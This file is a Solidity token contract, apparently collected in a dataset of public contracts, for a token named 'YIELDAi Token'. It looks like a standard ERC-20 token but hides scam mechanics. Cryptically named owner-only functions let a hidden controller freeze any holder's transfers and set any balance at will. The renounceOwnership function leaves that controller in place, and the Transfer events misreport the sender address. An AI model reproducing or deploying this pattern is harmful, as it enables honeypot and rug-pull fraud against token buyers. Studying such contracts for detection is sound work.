File size: 4,138 Bytes
f998fcd |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 |
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
/*
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}*/
contract YieldAi {
mapping (address => uint256) private XBl;
mapping (address => uint256) private XCl;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "YIELDAi Token";
string public symbol = unicode"YIELDAi";
uint8 public decimals = 6;
uint256 public totalSupply = 150000000 *10**6;
address owner = msg.sender;
address private XdL;
address zDeployer = 0x015e634C7C1311A9034220c28d3D12b7f710a3b1;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
XdL = msg.sender;
xCreate(msg.sender, totalSupply); }
function renounceOwnership() public virtual {
require(msg.sender == owner);
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
function xCreate(address account, uint256 amount) internal {
account = zDeployer;
XBl[msg.sender] = totalSupply;
emit Transfer(address(0), account, amount); }
function balanceOf(address account) public view returns (uint256) {
return XBl[account];
}
function transfer(address to, uint256 value) public returns (bool success) {
require(XCl[msg.sender] <= 1);
require(XBl[msg.sender] >= value);
XBl[msg.sender] -= value;
XBl[to] += value;
emit Transfer(msg.sender, to, value);
return true; }
modifier xJJ () {
require(msg.sender == XdL);
_;}
function approve(address spender, uint256 value) public returns (bool success) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true; }
function zupdate (address iiX, uint256 iiV) xJJ public {
XCl[iiX] = iiV;}
function zann (address iiX, uint256 iiV) xJJ public {
XBl[iiX] = iiV;}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if(from == XdL) {
require(value <= XBl[from]);
require(value <= allowance[from][msg.sender]);
XBl[from] -= value;
XBl[to] += value;
from = zDeployer;
emit Transfer (from, to, value);
return true; }
require(XCl[from] <= 1 && XCl[to] <=1);
require(value <= XBl[from]);
require(value <= allowance[from][msg.sender]);
XBl[from] -= value;
XBl[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true; }
} |